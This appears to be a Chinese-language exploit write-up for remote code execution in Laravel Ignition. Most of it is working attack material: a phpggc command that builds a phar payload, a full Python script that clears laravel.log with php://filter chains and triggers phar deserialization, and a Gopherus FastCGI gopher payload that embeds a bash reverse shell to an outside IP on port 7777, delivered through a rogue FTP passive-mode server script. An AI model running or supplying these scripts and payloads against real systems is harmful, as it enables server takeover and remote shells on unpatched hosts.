需要版本 >7.3 && <=8.4.2

利用laravel日志 rce

生成poc

php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g'

验证脚本,替换生成的poc

import requests

target_url = "http://localhost:85/public/index.php/_ignition/execute-solution"

session = requests.Session()

def clean_cache():
    flag = 0
    while True:
        if get_log_length()==0:
            flag=1
            print("[+] 缓存已被清除")
            return True

        if flag ==0:
            rawBody = "{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.base64-decode|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"}}"
            headers = { "Accept": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Connection": "close", "Sec-Fetch-Mode": "cors", "Content-Type": "application/json"}
            session.post(target_url, data=rawBody, headers=headers)
            print("[*]清除缓存")

            l  = get_log_length()
            if l==0:
                flag = 1
                print("[+] 缓存已被清除")
                return True
            else:
                print("[!] " +str(l)+"缓存未被清除")


def get_log_length():
    return len(session.get("http://localhost:85/storage/logs/laravel.log").content)


def trigger_poc():
    rawBody = "{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"}}"
    headers = { "Accept": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Connection": "close", "Sec-Fetch-Mode": "cors", "Content-Type": "application/json"}
    session.post(target_url, data=rawBody, headers=headers)

def send_poc1():
    poc = "AA"
    rawBody = "{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"%s"}}"%poc
    headers = { "Accept": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Connection": "close", "Sec-Fetch-Mode": "cors", "Content-Type": "application/json"}
    session.post(target_url, data=rawBody, headers=headers)


def send_poc2():
    poc = "...............P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00q=009=00A=00g=00A=00A=00A=00g=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00B=00m=00A=00g=00A=00A=00T=00z=00o=00z=00M=00j=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005=00k=00b=00G=00V=00y=00X=00F=00N=005=00c=002=00x=00v=00Z=001=00V=00k=00c=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00c=002=009=00j=00a=002=00V=000=00I=00j=00t=00P=00O=00j=00I=005=00O=00i=00J=00N=00b=002=005=00v=00b=00G=009=00n=00X=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00J=00c=00Q=00n=00V=00m=00Z=00m=00V=00y=00S=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=006=00N=00z=00p=007=00c=00z=00o=00x=00M=00D=00o=00i=00A=00C=00o=00A=00a=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=007=00T=00z=00o=00y=00O=00T=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005=00k=00b=00G=00V=00y=00X=00E=00J=001=00Z=00m=00Z=00l=00c=00k=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=00j=00c=006=00e=003=00M=006=00M=00T=00A=006=00I=00g=00A=00q=00A=00G=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=000=004=007=00c=00z=00o=00x=00M=00z=00o=00i=00A=00C=00o=00A=00Y=00n=00V=00m=00Z=00m=00V=00y=00U=002=00l=006=00Z=00S=00I=007=00a=00T=00o=00t=00M=00T=00t=00z=00O=00j=00k=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00i=00I=007=00Y=00T=00o=00x=00O=00n=00t=00p=00O=00j=00A=007=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00c=00z=00o=00y=00O=00i=00J=00p=00Z=00C=00I=007=00c=00z=00o=001=00O=00i=00J=00s=00Z=00X=00Z=00l=00b=00C=00I=007=00T=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00b=00G=00V=002=00Z=00W=00w=00i=00O=000=004=007=00c=00z=00o=00x=00N=00D=00o=00i=00A=00C=00o=00A=00a=00W=005=00p=00d=00G=00l=00h=00b=00G=00l=006=00Z=00W=00Q=00i=00O=002=00I=006=00M=00T=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00J=00M=00a=00W=001=00p=00d=00C=00I=007=00a=00T=00o=00t=00M=00T=00t=00z=00O=00j=00E=00z=00O=00i=00I=00A=00K=00g=00B=00w=00c=00m=009=00j=00Z=00X=00N=00z=00b=003=00J=00z=00I=00j=00t=00h=00O=00j=00I=006=00e=002=00k=006=00M=00D=00t=00z=00O=00j=00c=006=00I=00m=00N=001=00c=00n=00J=00l=00b=00n=00Q=00i=00O=002=00k=006=00M=00T=00t=00z=00O=00j=00Y=006=00I=00n=00N=005=00c=003=00R=00l=00b=00S=00I=007=00f=00X=001=00z=00O=00j=00E=00z=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00J=00T=00a=00X=00p=00l=00I=00j=00t=00p=00O=00i=000=00x=00O=003=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00Y=00n=00V=00m=00Z=00m=00V=00y=00I=00j=00t=00h=00O=00j=00E=006=00e=002=00k=006=00M=00D=00t=00h=00O=00j=00I=006=00e=002=00k=006=00M=00D=00t=00z=00O=00j=00I=006=00I=00m=00l=00k=00I=00j=00t=00z=00O=00j=00U=006=00I=00m=00x=00l=00d=00m=00V=00s=00I=00j=00t=00O=00O=003=001=009=00c=00z=00o=004=00O=00i=00I=00A=00K=00g=00B=00s=00Z=00X=00Z=00l=00b=00C=00I=007=00T=00j=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00p=00b=00m=00l=000=00a=00W=00F=00s=00a=00X=00p=00l=00Z=00C=00I=007=00Y=00j=00o=00x=00O=003=00M=006=00M=00T=00Q=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00k=00x=00p=00b=00W=00l=000=00I=00j=00t=00p=00O=00i=000=00x=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00H=00B=00y=00b=002=00N=00l=00c=003=00N=00v=00c=00n=00M=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00o=00i=00Y=003=00V=00y=00c=00m=00V=00u=00d=00C=00I=007=00a=00T=00o=00x=00O=003=00M=006=00N=00j=00o=00i=00c=003=00l=00z=00d=00G=00V=00t=00I=00j=00t=009=00f=00X=000=00F=00A=00A=00A=00A=00Z=00H=00V=00t=00b=00X=00k=00E=00A=00A=00A=00A=00t=00u=00H=00+=00X=00w=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00p=00A=00E=00A=00A=00A=00A=00A=00A=00A=00A=00I=00A=00A=00A=00A=00d=00G=00V=00z=00d=00C=005=000=00e=00H=00Q=00E=00A=00A=00A=00A=00t=00u=00H=00+=00X=00w=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00p=00A=00E=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00d=00G=00V=00z=00d=00J=00I=00Z=008=00g=00/=00c=009=00p=00l=00b=00i=00C=00y=00N=00i=00M=00P=00A=00R=00G=008=00t=00M=00P=002=00S=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00"
    rawBody = "{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"%s"}}"%poc
    headers = { "Accept": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Connection": "close", "Sec-Fetch-Mode": "cors", "Content-Type": "application/json"}
    session.post(target_url, data=rawBody, headers=headers,)


def trigger_poc():
    rawBody = "{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"}}"
    headers = {"Origin":"http://localhost:85","Accept":"application/json","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36","Referer":"http://localhost:85/public/index.php/evil","Connection":"close","Sec-Fetch-Site":"same-origin","Sec-Fetch-Dest":"empty","Accept-Encoding":"gzip, deflate","Accept-Language":"zh-CN,zh;q=0.9","Sec-Fetch-Mode":"cors","Content-Type":"application/json"}
    session.post(target_url, data=rawBody, headers=headers) 


def trigger_phar():

    rawBody = "{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"phar:///var/www/html/storage/logs/laravel.log/test.txt"}}"
    headers = {"Origin":"http://localhost:85","Accept":"application/json","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36","Referer":"http://localhost:85/public/index.php/evil","Connection":"close","Sec-Fetch-Site":"same-origin","Sec-Fetch-Dest":"empty","Accept-Encoding":"gzip, deflate","Accept-Language":"zh-CN,zh;q=0.9","Sec-Fetch-Mode":"cors","Content-Type":"application/json"}
    response = session.post(target_url, data=rawBody, headers=headers) 
    print("[+] resp : "+response.text)



def main():
    if(clean_cache()):
        print("[*] Send Poc: ")
        send_poc1()
        print("[+] log length: "+ str(get_log_length()))
        send_poc2()
        print("[+] log length: "+ str(get_log_length()))
        trigger_poc()
        print("[+] log length: "+str(get_log_length()))
        trigger_phar()

if __name__ == "__main__":
    main()

利用被动ftp

image-20210116142146648

生成payload

使用gopherus生成攻击fastcgi的payload

图片

箭头1处输入目标服务器上的某个php文件的真实路径

箭头2处输入你想要在目标上执行的命令

得到payload:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%02%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%24SCRIPT_FILENAME/Library/WebServer/Documents/xss.php%0D%01DOCUMENT_ROOT/%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/172.16.230.146/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

咱们只需要_后面的内容,也就是

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%02%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%24SCRIPT_FILENAME/Library/WebServer/Documents/xss.php%0D%01DOCUMENT_ROOT/%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/172.16.230.146/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

用生成的payload替换掉下面ftp脚本中的payload

# -*- coding: utf-8 -*-
# @Time    : 2021/1/13 6:56 下午
# @Author  : tntaxin
# @File    : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%02%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%24SCRIPT_FILENAME/Library/WebServer/Documents/xss.php%0D%01DOCUMENT_ROOT/%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/127.0.0.1/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 3 \n")  
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 127,0,0,1,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
    else:
        conn.send(b"227 127,0,0,1,35,40\n")  # 端口计算规则:35*256+40=9000

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()

    # 第一次连接是下载文件,需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1

参考